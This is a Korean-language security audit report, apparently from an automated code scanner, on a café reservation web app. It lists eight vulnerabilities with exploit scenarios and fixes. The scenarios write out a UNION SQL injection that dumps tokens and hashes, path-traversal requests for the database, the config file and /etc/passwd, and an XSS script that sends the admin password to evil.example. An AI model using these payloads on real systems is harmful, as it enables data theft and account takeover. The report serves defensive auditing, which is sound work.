2026-10-18(UTC)에 달빛카페 예약 관리 웹앱 저장소(<작업 폴더>/cmd1, main 브랜치, 커밋 bfbbd42) 전체를 medium 노력도로 코드베이스 스캔했습니다. 검증 패널을 통과한 발견 항목은 8건입니다. CRITICAL 0건, HIGH 2건, MEDIUM 5건, LOW 1건입니다. 가장 시급한 두 건은 로그인 없이 DB 전체를 읽을 수 있는 SQL 인젝션(F1)과, 아무나 가입만 하면 서버의 임의 파일을 내려받을 수 있는 경로 조작(F2)입니다. 모든 발견은 코드를 읽어서 도출한 것입니다. 저장소 코드나 테스트를 실행하지 않았고, 실제 공격을 시연하지도 않았습니다.
app, receipts, tests)입니다. 인벤토리는 app와 receipts를 하나의 구성 요소 app-server로 묶었습니다(구성 요소당 약 25개 파일 기준으로 1개를 요청했고, 상한은 24개). 이 구성 요소의 6개 파일(app/__init__.py, app/config.py, app/db.py, app/server.py, app/views.py, receipts/1001.txt)은 연구자들이 모두 끝까지 읽었습니다. 읽지 못했다고 신고한 경로도, 아무도 확인하지 않은 파일도 없습니다.app-server는 세 가지 관점으로 검토했습니다. 인젝션·입력 처리, 인증·인가, 암호화·비밀 정보입니다. 구성 요소 밖의 파일(README, .gitignore, tests/ 등 5개)은 별도의 광역 스윕이 모든 취약점 종류를 대상으로 읽었습니다. 연구자 4명을 배치했고 4명 모두 결과를 반환했습니다.tests(경로 tests)는 구성 요소로 스캔하지 않았습니다. 인벤토리가 제시한 사유는 "Unit tests and sample guest fixture data; not deployed code"입니다. 다만 위 광역 스윕이 이 디렉터리의 파일도 읽었습니다.app-server:memory-and-unsafe. 워크플로가 인벤토리에 기록된 언어(Python)만 보고, 연구자에게 지시하기 전에 이 코드를 전부 관리형 언어로 판단했습니다. 그래서 app-server를 맡은 연구자 누구에게도 메모리 안전성 버그를 찾으라고 요청하지 않았습니다.Impact. 서버에 접근할 수 있으면 누구나 로그인 없이 SQLite DB 전체를 읽을 수 있습니다. 모든 손님의 전화번호, 베어러 토큰(곧 아무 계정이나 탈취 가능), MD5 비밀번호 해시가 포함됩니다. sqlite3의 execute()는 한 번에 한 문장만 실행하므로 이어 붙인 쓰기 문장은 막힙니다. 하지만 기밀성은 완전히 무너집니다.
Where. app/db.py:69 in search_by_name — CWE-89
What. 인증이 없는 GET /search(app/server.py:46)의 name 쿼리 파라미터가 파라미터 바인딩이나 이스케이프 없이 app/db.py:69의 f-string SQL(LIKE '%{name}%')에 그대로 들어갑니다. 결과는 reservation_card로 렌더링됩니다. 그래서 UNION으로 guest_name·visit_time 자리에 넣은 값이 그대로 HTML 응답에 나타납니다.
Exploit scenario. 공격자가 로그인 없이 GET /search?name=' UNION SELECT id, phone, token, 1 FROM guests --(URL 인코딩)를 보냅니다. 응답의 카드마다 손님의 전화번호와 고정 토큰이 표시됩니다. 토큰은 교체되지 않으므로, 이 값을 X-Guest-Token 헤더에 넣으면 해당 손님 계정을 그대로 쓸 수 있습니다. pw_hash를 선택하는 두 번째 페이로드로 솔트 없는 MD5 해시도 얻습니다.
Preconditions.
- 공격자가 HTTP 리스너에 접근할 수 있어야 합니다. 코드는 127.0.0.1:8765에 바인딩하므로, 원격 공격에는 앞단의 리버스 프록시나 포워딩이 필요합니다.
Fix. 바인딩 파라미터를 사용하세요. 예: WHERE guest_name LIKE ? ESCAPE '\'에 %·_를 이스케이프한 f"%{escaped}%"를 넘깁니다. /search에 인증을 요구하는 것도 함께 검토하세요(F7 참조).
Verification. 3/3 lens verifiers confirmed.
Impact. 서버 프로세스가 읽을 수 있는 파일은 모두 읽힙니다. 애플리케이션 DB 전체(모든 손님 계정 탈취로 이어짐), 관리자 비밀번호가 든 소스·설정 파일, 그 밖의 호스트 파일이 포함됩니다. 다른 손님의 영수증도 노출됩니다.
Where. app/server.py:54 in Handler.do_GET — CWE-22
What. file 쿼리 파라미터가 os.path.join(config.RECEIPT_DIR, ...)(app/server.py:52)을 거쳐 그대로 open()됩니다. normpath/realpath로 경계를 확인하지 않으므로 ../로 RECEIPT_DIR 밖으로 나갈 수 있습니다. 절대 경로를 주면 os.path.join이 기준 디렉터리를 아예 버립니다. 파일 바이트는 그대로 클라이언트에 반환됩니다.
Exploit scenario. 공격자가 아무 전화번호·비밀번호로 POST /register를 보내 토큰을 받습니다. 그 토큰을 X-Guest-Token에 넣고 GET /receipt?file=../cafe.db를 요청합니다. receipts/ 바로 옆에 있는 기본 DB 경로입니다. 이렇게 DB 전체를 내려받으면 모든 손님의 토큰·전화번호·해시를 얻습니다. GET /receipt?file=../app/config.py는 관리자 비밀번호를, GET /receipt?file=/etc/passwd 같은 절대 경로는 서버가 읽을 수 있는 아무 파일이나 반환합니다.
Preconditions.
- 손님 토큰이 필요하지만, POST /register의 공개 가입으로 누구나 무료로 얻습니다.
- 공격자가 HTTP 리스너(127.0.0.1:8765)에 접근할 수 있어야 합니다.
Fix. 순수 파일명이 아닌 값은 거부하세요(예: [0-9]+\.txt 패턴 강제, 또는 os.path.basename(v) == v). 그다음 os.path.realpath로 정규화한 결과가 realpath(RECEIPT_DIR) 안에 있는지 os.path.commonpath로 확인하세요. 영수증을 요청한 손님의 예약과 연결하는 것도 필요합니다(F4).
Verification. 3/3 lens verifiers confirmed.
Impact. 관리자 브라우저에서 앱 출처로 스크립트가 실행됩니다. URL 쿼리스트링에 담긴 관리자 비밀번호가 탈취되어 관리자 화면에 계속 접근할 수 있게 되고, 관리자가 보는 예약 목록도 조작·위장할 수 있습니다.
Where. app/views.py:22 in admin_table — CWE-79
What. note 필드는 공격자가 통제합니다. 가입한 손님이면 누구나 POST /reserve(app/server.py:80)로 설정할 수 있고, 값은 그대로 저장됩니다(app/db.py:55). 다른 필드는 모두 html.escape를 거치지만, admin_table은 note만 이스케이프 없이 관리자 HTML에 씁니다.
Exploit scenario. 공격자가 가입한 뒤 POST /reserve를 보냅니다. visit_time은 오늘 날짜로(그래야 list_today가 고릅니다), note는 <script>fetch('https://evil.example/?'+encodeURIComponent(location.href))</script>로 설정합니다. 사장님이 /admin?pw=<비밀번호>를 열면 스크립트가 실행되어 pw 파라미터가 포함된 location.href를 공격자에게 보냅니다.
Preconditions.
- 공격자에게 손님 계정이 있어야 합니다(공개 가입).
- 관리자가 악성 예약 날짜에 /admin을 열어야 합니다.
- 공격자가 HTTP 리스너(127.0.0.1:8765)에 접근할 수 있어야 합니다.
Fix. 다른 필드처럼 html.escape(r['note'] or '')로 이스케이프하세요. 제한적인 Content-Security-Policy 헤더를 추가하고, 관리자 비밀번호를 URL 쿼리스트링으로 보내지 마세요.
Verification. 3/3 lens verifiers confirmed.
Impact. 다른 손님의 영수증(구매 내역과 금액)이 노출됩니다. 경로 검사가 없으므로(F2) 서버가 읽을 수 있는 모든 파일로 피해가 확대됩니다.
Where. app/server.py:52 in Handler.do_GET — CWE-639
What. /receipt는 토큰이 유효한지만 확인하고, 호출자가 file에 넣은 파일명을 그대로 엽니다. 영수증(예: 1001.txt)과 예약 또는 호출자의 guest_id를 연결하는 장치가 없습니다. 인증만 하고 인가는 하지 않는 구조입니다.
Exploit scenario. 가입한 공격자가 GET /receipt?file=1001.txt, 1002.txt …를 차례로 요청해 다른 손님의 영수증을 모두 내려받습니다.
Preconditions. - 공격자가 HTTP 서버에 접근할 수 있어야 합니다(기본 바인딩은 127.0.0.1). - 손님 토큰이 필요하지만 공개 가입으로 얻습니다.
Fix. 영수증을 예약 id로 조회하고, 그 예약의 guest_id가 호출자와 같은지 확인하세요. 파일명은 클라이언트 입력이 아니라 서버에서 만드세요(예: f"{rid}.txt"). RECEIPT_DIR 안에 있는지 realpath로 확인하는 것도 함께 적용하세요.
Verification. 3/3 lens verifiers confirmed.
Impact. DB가 유출되면 손님의 평문 비밀번호가 복원됩니다. 비밀번호를 재사용하는 손님이 많아 이 앱 바깥의 계정까지 위험해집니다.
Where. app/db.py:29 in hash_pw — CWE-916
What. POST /register(app/server.py:71)로 받은 비밀번호가 hash_pw를 거쳐 솔트 없는 MD5로 저장됩니다(app/db.py:35). MD5는 빠르고 솔트가 없어서 레인보우 테이블이나 GPU 무차별 대입에 금방 뚫립니다. 같은 비밀번호를 쓰는 사용자는 해시도 같습니다.
Exploit scenario. 공격자가 F1의 SQL 인젝션(name=' UNION SELECT id, phone, pw_hash, 1 FROM guests--)으로 전화번호와 MD5 해시를 덤프합니다. 이후 오프라인에서 대부분의 실사용 비밀번호를 수 초에서 수 분 안에 복원하고, "전화번호 + 비밀번호" 조합을 다른 서비스에 재사용합니다.
Preconditions.
- 공격자가 guests 테이블을 손에 넣어야 합니다. F1, F2, 또는 cafe.db 파일·백업에 대한 접근으로 가능합니다.
Fix. 느리고 솔트를 쓰는 비밀번호 KDF를 사용하세요. hashlib.scrypt, 사용자별 랜덤 솔트와 높은 반복 횟수의 PBKDF2-HMAC-SHA256, argon2/bcrypt 등이 있습니다. 검증에는 hmac.compare_digest를 쓰고, 기존 해시는 다음 로그인 때 마이그레이션하세요.
Verification. 3/3 lens verifiers confirmed.
Impact. 가입한 사용자라면 누구나 다른 손님의 예약 정보(이름, 방문 시각, 인원)를 볼 수 있습니다.
Where. app/server.py:40 in Handler.do_GET — CWE-639
What. 핸들러는 X-Guest-Token이 어떤 손님의 것인지만 확인합니다. 그다음 공격자가 넣은 id를 db.get_reservation에 넘기는데, 이 함수는 guest_id 조건 없이 SELECT * FROM reservations WHERE id=?를 실행합니다. README는 이 기능을 '내 예약 보기'로 설명하지만, r['guest_id']와 호출자의 g['id']를 비교하는 코드는 없습니다.
Exploit scenario. 공격자가 인증 절차 없는 POST /register로 토큰을 받습니다. 그 토큰으로 GET /reservation?id=1, id=2 …를 요청해 모든 손님의 이름·방문 시각·인원을 얻습니다.
Preconditions.
- 공격자가 HTTP 서버에 접근할 수 있어야 합니다(127.0.0.1:8765 바인딩이라 리버스 프록시나 로컬 접근이 필요).
- 손님 토큰이 필요하지만 공개 가입으로 얻습니다.
Fix. _guest()가 돌려준 g['id']로 WHERE id=? AND guest_id=?를 조회하고, 다른 사람의 예약이면 404를 반환하세요.
Verification. 2/3 lens verifiers confirmed.
Impact. 인증 없이 모든 손님의 이름, 방문 시각, 인원이 노출됩니다. 누가 언제 카페에 오는지 알 수 있습니다.
Where. app/server.py:45 in Handler.do_GET — CWE-306
What. /reservation·/receipt와 달리 /search에는 _guest() 확인이 없습니다. name이 LIKE '%{name}%'에 들어가므로, 비어 있거나 없으면 모든 행이 일치합니다. 서버는 익명 호출자에게 모든 예약의 guest_name·visit_time·people을 반환합니다.
Exploit scenario. 익명 클라이언트가 파라미터 없이 GET /search를 요청하면 전체 손님 이름과 방문 시각 목록을 받습니다. 같은 데이터에 대해 /reservation이 요구하는 인증을 우회하는 셈입니다.
Preconditions. - 공격자가 HTTP 서버에 접근할 수 있어야 합니다(기본 바인딩은 127.0.0.1이고, 리버스 프록시가 있으면 외부에서도 가능).
Fix. /search에 손님 토큰을 요구하고 결과를 호출자의 guest_id 예약으로 제한하세요. 아니면 엔드포인트를 제거하세요. LIKE 쿼리 파라미터화(F1)는 별도로 필요합니다.
Verification. 3/3 lens verifiers confirmed.
Impact. 손님 전화번호를 열거할 수 있습니다.
Where. app/server.py:71 in Handler.do_POST — CWE-204
What. db.register는 phone이 UNIQUE인 guests 테이블에 삽입합니다. 이미 있는 전화번호면 sqlite3.IntegrityError가 do_POST에서 잡히지 않고, socketserver의 handle_error가 HTTP 응답 없이 연결을 닫습니다. 새 번호면 토큰과 함께 200이 반환되므로, 두 경우를 구분할 수 있습니다.
Exploit scenario. 공격자가 후보 전화번호로 POST /register를 보냅니다. 응답 없이 연결이 끊기면 이미 카페 손님이고, 200이면 아닙니다. 이렇게 확인한 손님을 대상으로 /login 비밀번호 추측을 시작할 수 있습니다.
Preconditions. - 공격자가 HTTP 서버에 접근할 수 있어야 합니다. - 가입되지 않은 번호를 시험하면 부수적으로 계정이 생성됩니다.
Fix. IntegrityError를 잡아 새 번호와 기존 번호에 같은 응답을 주세요(예: SMS 인증 후에만 결과 공개). 가입 요청에는 속도 제한을 거세요.
Verification. 2/3 lens verifiers confirmed.
인벤토리가 저장소를 구성 요소로 나누고 위협 모델을 세웠습니다. 이어서 app-server를 세 가지 연구 관점(인젝션·입력 처리, 인증·인가, 암호화·비밀 정보)으로 검토했고, 구성 요소 밖 파일은 광역 스윕으로 검토했습니다. 연구자 4명이 모두 결과를 반환했습니다. 제안된 후보는 하나씩 세 관점(도달 가능성, 영향, 방어 수단)의 독립 검증자 패널이 표결했고, 3명 중 2명 이상 확인한 항목만 남겼습니다. F1·F2·F3·F4·F5·F7은 3/3 만장일치, F6·F8은 2/3으로 통과했습니다. 패널이 심각도를 낮춘 항목은 없습니다. 스탬프의 verification.status는 렌더러가 투표 기록을 바탕으로 기록합니다. 이 스캔은 코드를 읽어서만 판단했고, 테스트나 익스플로잇은 실행하지 않았습니다.